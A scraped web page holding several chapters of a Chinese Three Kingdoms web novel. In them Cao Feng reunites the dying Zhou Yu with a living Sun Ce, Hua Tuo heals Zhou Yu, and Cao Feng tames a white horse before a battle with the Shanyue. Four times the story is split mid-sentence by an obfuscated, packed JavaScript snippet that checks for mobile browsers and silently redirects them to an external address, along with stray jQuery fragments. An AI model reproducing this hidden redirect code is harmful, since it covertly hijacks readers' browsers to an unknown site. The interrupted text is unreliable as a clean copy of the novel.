看着曹风的背影,陈到心中苦闷,不禁自嘲:“我这是什么命?跟着刘备的时候,整天忙着护送他逃命。现在投靠了曹风,结果更刺激了!居然要陪着他勇闯东吴的老巢!” 曹风看向一旁盘膝而坐的张嫣。她正闭目吐纳。 曹风对所谓的修仙十分好奇,忍不住再次开口:“嫣儿,我看你修炼很久了,真的不能踏水而行,或者操控水流吗?” 他越说越兴奋,指着横放在张嫣双腿上的那柄无名宝剑,眼中闪烁着期待的光芒:“或者……御剑飞行?” 张嫣缓缓睁开双眸,吐出一口浊气,语气平静:“是你疯了,还是我疯了?” 曹风不死心,又问道:“可我听说你爹会撒豆成兵的仙法,难道这也是假的?” “哪有什么仙法。”张嫣淡淡解释道,“我爹只是把从官府抢来的豆子撒进了穷人的碗里。那些吃不上饭的穷人,自然愿意追随他,成了他的兵。” 张嫣的性格越来越冷淡。这次是曹风来问,她才肯回答。若是换了别人,她根本不会理会。 曹风听完,有些失望地叹了口气:“原来是这样……那还修炼什么?简直修炼了个寂寞。还不如我们俩双修来的……” 话没说完,张嫣一个眼刀甩过来,曹风立刻识相地闭上了嘴。 张嫣话锋一转,皱眉道:“你真的非要去见周瑜吗?这船上所有人加起来,连五十个都不到,你就敢闯进东吴的地盘,我看你是真的疯了。” 曹风无奈地笑了笑,目光望向远方:“好不容易来这一趟,若不见见久仰大名的周公瑾,岂不是太遗憾了?” 见张嫣依旧忧心忡忡地盯着自己,曹风蹲下身,伸手轻轻将她耳畔的一缕青丝别到耳后,柔声道:“放心吧,以公瑾的心胸,不至于趁人之危。” 他顿了顿,又指了指船舱,语气笃定:“何况有他在,不仅周瑜不会为难我们,整个东吴上下,除了孙权的死忠,没人敢动我们。” “另外……”曹风笑着补充道,“蔡瑁也会率领水军接应我们,不会出事的。” 不久前文聘攻破新野城后,曹风便令蔡瑁在蔡阳港操练水军,以防刘备或孙权趁机北上。 张嫣的担忧总算减轻了些。她轻轻合上眼,重新进入吐纳状态。 夕阳的余晖洒在她身上,给她镀上一层金红色的光。她本来就极美的容貌和出尘的气质,在这光影衬托下,更显得不像凡人,宛如仙女。 曹风盯着她看了片刻,心中暗想:“难道真是我根骨太差,无法修炼,所以她故意骗我没有仙法?” 就在这时,船舱内走出一名戴着面具的男子。他的手中紧紧攥着一块双龙玉佩——只是,这块玉佩只有一半。 男子走到曹风身旁,语气中带着期盼:“风兄,还有多久能到柴桑?公瑾……真的在柴桑吗?” “会吧。”曹风望着江面的夕阳,喃喃自语道:“公瑾,你可要挺住啊!” 就在这时,船舱内传出琴音,是蔡文姬在弹奏《高山流水》。 ………… 从巴邱回柴桑的路上。 昏迷多时的周瑜终于缓缓睁开了眼睛。 他发现自己正躺在担架上,而非熟悉的军帐之中。 “停……”他勉强张开干裂发紫的嘴唇,虚弱地吩咐道。 两名抬着担架在山路上前行的士兵听到声音,立刻停下脚步,惊喜地喊道:“丁将军!大都督醒了!” 正在指挥部队有序撤离的丁奉闻言,连忙跑了过来。 他满脸关切:“大都督,您感觉如何?” 周瑜艰难地喝了几口水,环顾四周后,眉头紧锁:“承渊,这条路……为何如此熟悉?像是我们来时的路。” 丁奉低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743155|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下头,不敢直视周瑜的眼睛,忐忑道:“我……我下令撤军了。” “你怎能……”周瑜愤怒地指着丁奉,刚想挣扎起身,却又无力地倒回担架。 “大都督息怒!保重身体要紧!”丁奉跪倒在地,声音哽咽,“末将甘愿受罚,只求大都督能平安回到柴桑,养好身体!” 周瑜剧烈地咳嗽了几声,目光望向西川的方向。 他眼中满是不甘:“承渊,我们这一撤,荆州……不知何时才能收回了……” 丁奉眼眶通红,声音颤抖:“荆州可以再夺,可大都督您只有一个!若是您……” 他说不下去了,猛地别过脸去,泪水已经夺眶而出。 不仅是丁奉,周围的东吴士兵也纷纷跪地,齐声哭喊:“请大都督保重身体!” 周瑜望着远处山间的落日,那血色的余晖,仿佛是英雄末路。 过了片刻,周瑜在丁奉的搀扶下勉强坐直身子。 周瑜注视着眼前这位年轻的将领丁奉,东吴未来的希望。缓缓开口,声音低沉:“承渊,回去之后,就说是……我下令撤军的。” 丁奉大惊:“万万不可!若这样说,主公必定会……” “记住,当着主公的面,要称呼‘至尊’。”周瑜微笑着打断他,“若是君要臣死,臣又怎能苟活?” 他小心翼翼地掏出怀中的双龙玉佩——这块玉佩只有一半,而另一半,早已随孙策一同下葬。 周瑜凝视着玉佩,眼中浮现出往昔的回忆:“君子之交,当如此玉般纯粹、久远。当年,我与兄长升堂拜母,誓同生死。如今……我却有负兄长临终所托,未能成就东吴基业。” 他长叹一口气,“这次撤军,我便再没机会了。” 丁奉再也忍不住,再次嚎啕大哭起来。 他明白周瑜话中的含义。 一方面,孙权必定会以撤军为由,剥夺周瑜的兵权;另一方面,周瑜的身体,恐怕真的撑不了多久了…… 周瑜轻轻拍了拍丁奉的肩膀,露出一抹欣慰的笑容:“承渊,你很好,将来必成一代名将。” “另外,你选择撤回柴桑,而非建业,做得很好。这样……我们君臣之间,还能留个体面。” 说完这句话,周瑜突然感到一阵天旋地转。他用尽最后的力气,紧紧握住了手中的玉佩…… 第151章 大魏史书名场面:曹风横江见公瑾! 由于丁奉果断撤军,周瑜并没有像历史之中那样,病死在巴丘。 周瑜被抬回柴桑已经数日,病情依旧不见好转。 这些日子里,丁奉请遍了江东所有名医,甚至连神医华佗的弟子都被请来诊治,却始终无法治愈周瑜的旧伤顽疾。 大都督府。 昏迷的周瑜,从剧烈的咳嗽中醒来。他看着手帕上刺目的血迹,知道自己的时间不多了。 孙权正在前线督战,恐怕赶不回来见他最后一面。 周瑜强撑着病体,在案前写下了给孙权的遗书:鲁肃完全有能力胜任都督这个职位。对东吴来说,濡须口的重要性就像合肥对曹军一样关键。可以派吕蒙率领重兵去驻守那里…… “夫君,今日气色似乎好些了。”小乔端着汤药进来,看到周瑜正在书写,连忙放下药碗,“身体刚好转,不该这般操劳。” 小乔没看出周瑜其实是回光返照。 周瑜摆摆手,将写好的书信仔细封好:“夫人,陪我去江边走走吧。” 小乔十分担忧:“江边风大,又冷,你这身体不能再着凉了。” 周瑜固执道:“无妨。我想再看看长江。” 小乔只好为周瑜披上白色大氅,陪他一起前往柴桑口。 ………… 周瑜,这位曾经意气风发的东吴大都督,此刻站在长江岸边,望着奔流不息的江水,思绪回到了十五年前。 那时他与孙策临长江立誓要共谋大业,振兴江东。如今孙策早已离世,而他也将追随而去。 夕阳渐渐西沉,将滚滚江水染成金色。 周瑜突然放声大笑,笑声中既有豪迈,又带着几分苍凉。 “滚滚长江东逝水,浪花淘尽英雄!” 他指尖轻轻拨动琴弦,悠扬而萧瑟的琴声在江面上回荡。 “是非成败转头空……” “青山依旧在,几度夕阳红!” “白发渔樵江渚上,惯看秋月春风。” 周瑜停下抚琴,提起案上的酒坛,仰头灌了一大口。 由于身体的缘故,周瑜许久没有喝酒了。酒液的辛辣刺激着他的喉咙,却让他感到意外的畅快。 随后,他将剩余的酒全部倾入江中,酒水与江水融为一体,向东流去。 “古今多少事,都付笑谈中!” 周瑜的目光越过宽阔的江面,望向对岸的江夏。 那里曾经是东吴的领地,如今却插满了曹军的旗帜。 周瑜洒脱一笑:“曹风,这诗词到底是杨慎所作,还是出自你之手?可惜……可惜我没机会当面问个明白了。” 周瑜突然一阵剧烈的咳嗽,甚至弯下了腰。 小乔连忙上前,轻抚他的后背,眼中满是心疼与担忧。当她看到周瑜手帕上的血迹时,终于忍不住落下泪来。 她这时候才明白,周瑜不是病情好转,而是临死前的回光返照。 周瑜缓过气来,握住小乔冰凉的小手,又看了眼站在一旁、眼眶发红的丁奉,随后叹了口气。 他指着滔滔江水沉声道:“这长江奔流不息,永无止境。人生之艰难,就像这不息之长河,虽有东去大海之志,却流程缓慢,征程多艰……” 他停顿片刻,声音变得更加低沉、虚弱:“然江河水总有入海之时,而人生之志,却常常难以实现,令人抱恨终生!” “我这一生,遗憾太多。” 周瑜仿佛在对江水诉说:“未能继承兄长遗志,收复荆州,振兴江东,此为一憾!瑜,有愧伯符兄临终所托。” 他又看向小乔,眼中满是柔情:“未能与夫人长相厮守,白首偕老,此为第二憾!这些年来,我忙于军务,冷落了你。” 小乔再也控制不住情绪,扑进周瑜怀中痛哭失声。 周瑜轻抚她的长发,目光落在案上的古琴上。 “至于这第三件憾事……” “便是未能与那曹风切磋音律。天幕之中的他,琴艺高超,我一直想与他比试一番,直到琴弦断裂。可惜了,琴弦未断,我人却要先亡。” “至于第四件,应该算是孔明的遗憾吧。人都说我周瑜嫉妒诸葛亮的才能,我倒想问他诸葛孔明一句!” “死公瑾,活孔明,他是否寂寞?!” “罢了!罢了!”周瑜摇头轻笑,“青山依旧在,几度夕阳红!我周公瑾来过,足矣!” 他温柔地捧起小乔的脸,为她拭去泪水:“让为夫再弹一曲,就当是……填平此生所憾吧。” 随着周瑜修长的手指拨动琴弦,《笑傲江湖曲》的旋律在江边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743156|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起。 不知是巧合还是天意,江面上突然升起浓密的白雾,将整个江岸笼罩其中。 就在曲子即将终了之际,雾中竟传来另一道琴音相和,紧接着又有琵琶之声加入,三种乐器竟配合得天衣无缝。 丁奉大惊失色,“铮”的一声拔出佩剑,护在周瑜身侧。 小乔也紧张地望向雾蒙蒙的江面,下意识抓紧了周瑜的衣袖。 唯有周瑜浑然不觉危险,完全沉浸在音乐之中。 当三重合奏达到高潮时,他忍不住赞叹:“妙哉!此等琴艺,世间罕见!是你来了吗?” 就在这时,一艘船只破雾而出。 船头坐着一位身着蓝袍的年轻公子,正在专注抚琴。 他右边是位紫衣女子,怀抱琵琶半遮面; 左侧站着一位气质超凡脱俗的青衣女子,怀里宝剑,目光淡然地望着岸边众人。在江雾的衬托下,她仿若仙子。 曲终,余音袅袅。 “曹风?!果真是你!”周瑜率先大笑出声,“好大的胆子!竟敢深入我东吴腹地,是欺我东吴无人吗?” 他虽然言辞锋利,眼中却闪烁着临终前能遇到知音的喜悦。 曹风起身,潇洒地抱拳行礼:“我千里迢迢赶来以琴会友,大都督就是这样待客的?” “若是朋友,自当美酒相待!”周瑜强撑着站起身回礼,虽然面色苍白,气势却不减分毫,“若是来刺探军情,就只有万箭相迎了!” 曹风一甩衣袖,不卑不亢:“公瑾未免太小看我了。若我愿意,谈笑间就能让东吴遍地插满‘曹’字大旗,何须亲自来窥探?” 丁奉闻言大怒,从马背上取下弓箭:“狂妄之徒,看箭!” 丁奉的箭术也算是上乘,这一箭射得又快又狠。 曹风不闪不避,右手轻抬,竟在空中稳稳接住了箭矢。他晃了晃手中的箭,笑道:“公瑾,这就是你说的万箭?” 周瑜不怒反笑,“你的胃口若真能吃下万箭,我现在就可以成全你!” “免了、免了……”曹风连连摆手,“还是留着你的万箭对付诸葛亮吧!那家伙最喜欢万箭齐发的招待。” 周瑜先是一愣,随即想起赤壁之战前诸葛亮草船借箭之事,不由失笑:“这话倒是不假。” 第152章 小霸王现身/周瑜又晕了/华佗晕船 曹风从来不是个肯吃亏的人。哪怕让他吃半点亏,他也必定加倍奉还。并且…… 有仇若能当场报,他绝不会等什么十年! 曹风从甄何手里接过蒲元为他特制的弓箭,搭上丁奉刚刚射来的那支箭。 “小将军,来而不往非礼也!”曹风朗声道。 话音未落,箭已离弦。 “嗖”的一声破空而去。 箭矢精准地钉在了丁奉头盔的鹖鸟尾羽根部。 支箭力道之大,竟将头盔带得往后一仰,险些从丁奉头上掉落。 丁奉只觉得头顶一凉,冷汗瞬间浸透了后背的衣衫。 但他很快稳住心神,强压下心中的惊骇,依旧挺直腰杆,怒视曹风,眼中毫无惧色。 曹风见状,眼中闪过一丝赞赏:“好胆识!面对生死面不改色,是条汉子!小将军可否告知姓名?” 丁奉冷哼一声,不仅没有回答,反而又往前迈了半步,将身后的周瑜挡得严严实实。 他握紧手中的宝剑,警惕地盯着曹风的一举一动。 方才那一箭已经让他见识到了曹风可怕的箭术,此刻他生怕曹风突然发难,再给大都督来一箭。 周瑜见状,轻轻拍了拍丁奉的肩膀,示意他退下。 他缓步上前,与曹风隔江相望。“曹公子远道而来,不会只为与我合奏一曲这么简单吧?” 曹风将手中弯弓抛给甄何,笑着道:“听说大都督旧病复发,命不久矣。我特意带了医官来给你治病。” 转头看去,曹风却发现华佗不见了身影。 周瑜面色不变,摇头否认:“这必定是诸葛孔明造的谣,我身体好得很,哪有什么旧疾复发?休要听他胡言。” “没病?”曹风挑眉,突然提高声调,“那你走两步看看!” 周瑜不再多言,沉声道:“曹将军若再不离开,就真要让你尝尝乱箭穿心的滋味了。” 说这话时,周瑜藏在袖中的手微微发抖。 他清楚地感觉到,自己的胸口又开始隐隐作痛,身体应该是快撑不住了。再过一会儿,病重的迹象就会彻底暴露。 他必须尽快将曹风赶走。 曹风却摇了摇头,不但没有退意,反而转身对着船舱大声喊。 “喂!你再不出来见公瑾,我可要掉转船头,回去了!在塞外威震四方的小霸王,怎么回到江东反倒扭捏起来了?” 孙策自从“死而复生”又经历了失忆后,战场上依然是那个所向披靡的猛将,但平日的性子却变了不少。 "小霸王?!”周瑜瞳孔骤缩,声音都有些颤抖,“曹风,你指的是谁?” 小霸王,这可是孙策的名号! 当年孙策横扫江东,无人能敌,才得了这个威名。 周瑜随即又想起孙策已逝多年,还是自己亲手为他下葬的。 这个念头,让周瑜英俊的面容因愤怒而有些狰狞:“我兄长早已离世,谁敢妄称霸王?!” 显然,孙策就是这位东吴大都督的逆鳞。 这一怒之下,旧伤再也压不住了。周瑜猛地捂住胸口,一口鲜血喷了出来,染红了他胸前的衣襟。 “大都督!” “夫君!” 小乔和丁奉连忙上前,一左一右扶住摇摇欲坠的周瑜。 丁奉急得眼睛都红了,恨不得将曹风生吞活剥。 就在这时,曹风身后的船舱帘子突然被人掀开。 一个戴着面具的高大男子缓步走出,一身英武之气。 男子看着周瑜那张多次出现在自己梦境中的面容,声音激动。 “公瑾……我终于见到你了……” 这熟悉的声音让周瑜浑身一震,不由自主地向前踉跄了几步。 但很快他就回过神来,眼中闪过一丝狠厉。 他猛地转身夺过丁奉手中的弓箭,拉满弓弦直指曹风。 “曹风!你果然和传闻一样阴险狡诈,诡计多端!竟敢找人假扮我兄长来骗我?如此侮辱我兄长,今日我定要你命!” 曹风毫无惧色,反而愤怒地甩袖:“什么?说我阴险狡诈?我诡计多端?!” 他又伸手指着周瑜,“这是谁造的谣!我那叫光明磊落的智慧,怎么就成了诡计!” 戴着面具的男子毫不犹豫地挡在曹风面前。 在周瑜的箭矢前,他缓缓摘掉了脸上的面具,“公瑾,你当年下葬的是我的替身。我没有死,是曹风公子救了我。” 当这张熟悉面容再次出现在眼前时,周瑜手中的弓箭“啪嗒”地一声掉在了地上。 “真是伯符大哥?” 孙策从怀里掏出那半块双龙玉佩,苦笑道:“真的是我。你还是和从前一样谨慎。就像当年你劝我,狩猎时不要独自骑马前行。” 周瑜下意识摸出自己贴身佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745921|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴的另一半玉佩,“兄长!” 这一声“兄长”包含着太多复杂的情绪。激动之下,周瑜再也支撑不住,眼前一黑晕了过去。 “大都督!” “夫君!” “公瑾!” 孙策连忙向曹风抱拳:“请公子救救我兄弟!” 曹风挥了挥手,命令船只靠近岸边。 孙策第一个跳下船,三步并作两步赶到周瑜身边。 小乔已经哭成了泪人:“大哥,丁奉之前把神医华佗的徒弟都请来了,也没办法诊治他的伤病,公瑾他恐怕……” 丁奉也在一旁沮丧地摇头:“是啊,那曹风恐怕也……” “这位小兄弟,你好像是在针对我啊?我看你就是欠徐荣的一顿喷。”曹风笑呵呵道,“徒弟救不了,不代表师父救不了。” 曹风转头问甄何,“华佗那老头儿呢?怎么还没下船。” 甄何指着船上,又是无奈又是好笑:“晕船晕得厉害。” 只见华佗正抱着船沿,吐得昏天黑地。 把江水都染出了一片污浊。 曹风皱眉,不解道:“这老头儿医术高超,治不了自己的晕船之症?” 甄何学着华佗的语气,摇头晃脑道:“是药三分毒,岂能对自己乱用药!” 曹风失笑着摇了摇头,命人将华佗搀扶下船。 华佗用了整整两天的时间,才将周瑜的伤势稳住。这两天里,孙策寸步不离地守在病榻前,眼睛都熬红了。 当华佗终于放下银针,孙策立刻上前问道:“先生,我兄弟的伤势可否痊愈?” 华佗沉声道:“需要静养半年,期间不可再动怒。若是再发作一次,老夫也救不了他。” “伯符大哥……”就在这时,昏迷中的周瑜突然睁开了眼睛。 当他看到守在床前的孙策时,紧绷的身体明显放松下来。他挣扎着想要起身,却被孙策轻轻按住。 “我有负大哥所托,没能振兴江东……”周瑜虚弱的声音中带着愧疚。 “公瑾!你好好养伤。”孙策洒脱地笑了笑,“我死过一次,对一些事情想开了。这江东基业不要也罢,天下之大,还有更广阔的天地等着我们。” 周瑜怔怔地望着孙策,觉得眼前的人既熟悉又陌生。 他的目光移向站在一旁的曹风,心中不禁怀疑是不是曹风给他的大哥施了什么妖法。 第153章 来送人头的山越 见周瑜投来不善的目光,曹风立即挺直腰板,毫不客气地瞪了回去。 两人之间的空气仿佛都凝固了几分,没了之前以曲会友的和善。 “看什么看?你还没给我道歉呢!怎么着,你还不满了?” “在江边的时候,你说谁阴险狡诈?!又是说谁诡计多端?!” 曹风说着说着更来劲了,掰着手指头数落起来,“救你们哥俩用的可都是上等人参、百年灵芝,我库房里的珍稀药材都快被掏空了!光是那几副药引子就值千金,更别说后续调理用的。我已经倾家荡产了!” 作为财迷,曹风还真有那么一丝心疼。不过他也知道,能救下这兄弟俩,很值得。这么说,不过是一种谈判技巧罢了。 周瑜闻言撇了撇嘴,脸上写满不信。 他可是亲眼在天幕中见过曹风的财富——光是他从曹嵩那里薅来的几箱珍宝就晃得人眼花。珍珠玛瑙堆积如山,随便一件都够普通百姓吃上十年。 更别提这些年曹风自己倒腾的那些生意:《唐诗宋词集》炒到天价,一本就要百金;还有那些稀奇古怪的“玻璃器皿”。周瑜虽然不懂怎么制造出来的,但他估计也是暴利的生意。 还有,曹风那位正妻甄宓出身河北甄氏,家底厚得吓人。并且甄家重建洛阳时捞的那笔巨款,全都进了曹风的腰包! 整个甄家不留余财的全力支持他。 “倾家荡产……风兄确实这么跟我说过,”失忆后的孙策最是实诚,笑道,“不过我后来发现,他好像特别有钱。光是我那些精锐骑兵,就花费了许多。” 曹风笑道:“好你个孙伯符,这么快就倒戈周公瑾了。” “你欠我的那些债,还多少了?“曹风突然话锋一转,眼神也变得锐利起来。 孙策闻言立即正色道:“已经剿灭羌、氐所有部落。另外,鲜卑三分之一的领土也打下来了。” “这还远远不够……”曹风停顿了一下,沉声道,“我绘制的地图你看过了吧?” 孙策点头,眼中闪烁着兴奋的光芒:“看过了。原来这个世界如此辽阔!许多地方,我以前连听都没听说过。” 曹风目光深远:“等我平定境内乱世,与印度、波斯、罗马等国的战争也是硬仗。” 曹风随后又特意冰冷地强调:“不过在打他们之前,先灭了邪马台!” 曹风已经想好了,征讨邪马台的时候,一定带着自己的那三大毒士。 曹风与孙策的这番对话,听得周瑜云里雾里。 孙策看出周瑜的疑惑,“现在江东已经不再是我的志向了。” 他的声音突然变得激昂起来,“我们带着儿郎们征讨外族,开疆拓土,让汉家的旗帜插遍天下,那才叫痛快!” “那才是属于我们的地方!” 周瑜困惑地问道:“兄长这是何意?江东基业就这么……” 孙策眼中闪过向往之色,打断了他的话:“等你伤好了,跟我一起去看看更广阔的天地,到时候你就明白了。” 随后,孙策语气坚定:“公瑾,我打算把整个江东都托付给曹风公子。我们汉人之间,没必要自相残杀。” “兄长之命,瑜自当遵从。”周瑜不假思索地应下,却又面露难色,“只是……” "只是什么?"孙策追问道。 周瑜苦笑着摇头,声音低沉下来:“兄长有所不知,如今江东各城郡的守将,十之**都是仲谋的心腹。” “比如那庐江太守吕蒙,会稽太守朱然,都是仲谋的死忠。” 他咳嗽几声,继续道,“别说是我,恐怕连兄长您也未必能说服他们。” “不过……”周瑜又补充道,“一些东吴老臣还是会听从大哥的号召。” “我会亲自和仲谋谈这件事。”孙策转身从华佗那里端来一碗熬好药汤,“你先把身子养好。” 小乔连忙接过药碗,“怎敢劳烦大哥,还是我来吧。” 她小心地扶起周瑜,一勺一勺地喂他喝药。 见到这一幕,孙策脑海中突然又恢复了一些记忆,是关于大乔,和他的儿子。 就在这时,屋外传来急促的脚步声,最后停在门外。 来人似乎犹豫了一下,才推门而入。 却是丁奉神色慌张地走了进来。见周瑜在喝药,他欲言又止。 “承渊有事?”周瑜轻轻推开小乔送药的手,“可是有军情?” “没有……”丁奉的目光躲闪着,“大都督先养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745922|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤。” 丁奉转身要走,却被周瑜叫住:“站住!你一定有事瞒着我。我身体已经好多了,无需顾虑。快说!” 丁奉这才面色难看地说道:“山越宗帅纠集两万兵卒犯境,已经连破三城!距柴桑已不足百里!” “山越?”没等周瑜说话,孙策先皱眉冷声道,“他们居然能攻下我东吴数座城池?我恢复的记忆中,他们可没这个本事!” “是我们变弱了,还是他们变强了?”孙策追问道。 “都不是。”周瑜苦笑着。 一想到和孙权有关的事儿,周瑜声音中都带着疲惫:“是仲谋抽调各地驻军攻打合肥,才让山越有机可乘。” 孙策怒极反笑,“这些年我光顾着打北方蛮夷,倒是让山越这些化外之民占了便宜。既然他们自己来送死,我就成全他们!我这就带兵出城,迎击他们!” 山越并非严格意义上的外族,而是一些土著居民,常被中原政权视为“化外之民”。 “大哥不可!” 周瑜急得撑起身子,“柴桑守军不足千人,理应据城坚守,不宜出城迎战!” 曹风这时问周瑜道:“你征讨西川撤军后,不是带了很多兵马回来吗?” “都调往濡须口……”周瑜无奈地看向曹风,眼中带着复杂的情绪:“防备你们曹家父子去了。” 气氛顿时有些尴尬。 孙策看看曹风又看看周瑜,干咳两声不知如何接话。 曹风对周瑜不满道:“我跟曹操没关系!他不配做我爹!” “对了,你在中原养伤的时候,正好随我与曹操再打一场官渡之战。” 曹风转过头,笑着对孙策说:“伯符,你之前来信不是说一直想和我并肩作战吗?现在机会不就来了吗?!” “好久没亲自冲锋了!正好手痒,就拿这些山越人练练手。” 张嫣不满地瞥了曹风一眼,红唇微微抿起,但没说话。 她知道这时候,谁也拦不住曹风冲锋陷阵。就算是甄宓来了也一样。 她也只能亲自上阵为曹风助战。 说来也怪,随着修为精进,张嫣发现自己越来越厌恶杀戮。原本那个驰骋沙场的女将军,渐渐变得不愿沾染杀戮。 第154章 曹风选马:再烈的马,能有黑子烈? “我们东吴的事情,不劳曹公子这个外人插手!” 他的声音里带着些许的敌意,眼神警惕地盯着眼前的大敌。 “承渊,住口!”周瑜猛地一声呵斥,却因动作太大牵动胸口的伤势,顿时面色一白,嘴角渗出一缕血丝。 华佗站在一旁,眉头紧锁,心想:“这病人可真不让人省心。” 他又想起那个总爱偷酒喝的郭嘉,忍不住叹了口气:公子托我救治的人,就没几个安分的。 周瑜强忍疼痛,郑重地向曹风抱拳行礼:“曹公子见谅,有劳相助。” 周瑜转向丁奉,解释道:“我已经决定了,率领部众归顺曹风公子。” 丁奉如遭雷击般僵在原地,脸上写满了难以置信。 他张了张嘴,却一时无语了。 只能瞪大眼睛看着自己最敬重的大都督。 啥?! 投效曹风了?!投效这个臭名昭著的纨绔子弟?这个据说整日流连青楼的曹家公子? 他凭什么?! 大都督这么做,又图什么? 丁奉的脑海中炸开一连串疑问。 难道是他琴弹得好? 丁奉连忙晃了晃脑袋,甩掉这个滑稽的想法。 “还愣着干什么!” 周瑜的声音将丁奉拉回现实,“去随我大哥,还有曹公子上阵杀敌。” 说到这里,周瑜的语气突然柔和下来,像往常教导他时那样叮嘱道:“自己多注意安全。多看,多学!” 此时的丁奉不过二十出头,远未成长为历史上那个威震江东的名将。三年前他还是个寒门穷小子,是周瑜偶然发现他的武艺和军事天赋,亲自将他带入军中栽培。 对丁奉而言,周瑜不仅是上司,更是恩师、兄长。周瑜说的话,丁奉向来都遵从。 只是此刻,他望向曹风的眼神仍带着几分轻视。 因为职位低微,丁奉没资格出席孙权的宴席,自然也没见过关于曹风的天幕画面。 军中同僚闲聊时,都说曹风是个不学无术的纨绔。 虽然方才在岸边,曹风那精准的一箭确实让他吃惊,但冲锋陷阵岂是射箭那么简单? 丁奉向周瑜抱拳后,有些不情愿地带着孙策和曹风去选马。 这次曹风来东吴,没带上他的老搭档“黑子”。孙策的战马也留在了上庸,所以他们都需要临时找一匹战马。 曹风看了许多马匹,都不满意地摇头。 东吴的战马本就品质很一般,再加上孙权为了攻打合肥、组建骑兵,已经把各地的好马都调走了。 但这些马已经都是丁奉精心挑选过的了。 见曹风挑三拣四,丁奉觉得被小瞧了,心里很不痛快,便想给曹风制造点麻烦。 丁奉沉声道:“我这里倒有一匹好马,不过性子太烈,就不知道曹公子能不能驾驭得了?” “哦?”曹风来了兴趣,“带我去看看。” 丁奉站在原地没动,提醒道:“事先说好,这匹马已经险些伤了好几位东吴将领。就连甘宁和吕蒙都没能降服它。要是伤了曹公子,可不能怪罪它。” 曹风摇头:“这世上的马,没有比黑子更顽皮的了。” 丁奉带着曹风来到关那匹马的地方。 曹风仔细打量着眼前这匹通体雪白的骏马。 毛色在阳光下泛着光泽,马鬃如银丝般飘逸。 最引人注目的是那双灵动的眼睛。 这匹马察觉到曹风在观察它,不耐烦地甩了甩尾巴,同时打了个响鼻。 “哟呵,这小母马可以啊!”曹风笑着道,“给黑子带回去当媳妇正好。” 曹风想起自己那匹同样桀骜不驯的战马——黑子。当初为了驯服黑子,曹风可是想尽了办法。 眼前这匹白马体型虽比黑子稍小,但肩宽背厚,马蹄大如碗口,一看就是能长途奔袭的良驹。 脖颈处的肌肉也线条分明,难得的好战马! 当曹风靠近时,白马警惕地竖起耳朵,眼中闪过一丝不屑,仿佛在说:又一个不自量力的家伙。 孙策也懂马,点头道:“这马似乎通人性。这种马最难驯服,性子野,轻易不会认主。想要降服它,得先磨掉它的野性,但又不能完全磨灭,要保留它在战扬上的攻击性。” “所以,降服它的机会只有一次,不像其他马可以慢慢调教。” 丁奉抱着双臂站在一旁,冷眼旁观。他忍不住插话:“依我看,曹公子还是……” 话未说完,就见曹风已经一个翻身跃进了马栏,动作干净利落,丝毫不拖泥带水。 白马反应极快,几乎是曹风落地的瞬间就发起了攻击。 它先是假装要正面冲撞,却在曹风准备闪避时突然急停转身,后蹄如闪电般踢向曹风胸口。 这一招它用过无数次,每次都能让那些自以为是的驯马者吃尽苦头。 但曹风似乎早有预料。 身体如燕子般轻盈地翻回了马栏上。 白马的后蹄踢了个空,反而因为用力过猛而略显踉跄。 就在这个空隙,曹风一跃,稳稳骑在了马背上。 白马彻底被激怒了。 它发出愤怒的嘶鸣,前蹄高高扬起,几乎直立起来。 随后又疯狂地尥蹶子、转圈,想把背上的人甩下去。 曹风却双臂紧紧搂住马颈,双腿夹住马腹,纹丝不动。 “好身手!”孙策忍不住赞叹。 他看得出曹风不仅力量惊人,更重要的是对马性的了解。每次白马要发力时,曹风都能提前预判,或借力化解,或强行压制。 丁奉也看得目瞪口呆。他见过不少驯马高手,但像曹风这样游刃有余的却是第一次见。 白马怒不可遏,冲破围栏,驮着曹风转眼间就消失在了孙策和丁奉眼前。 孙策大惊,连忙找马要去追。 丁奉拦住他:“没用的,已经跑远了。除了赤兔马,没有马能追上云皎。” 就在孙策焦急时,云皎驮着曹风回来了。 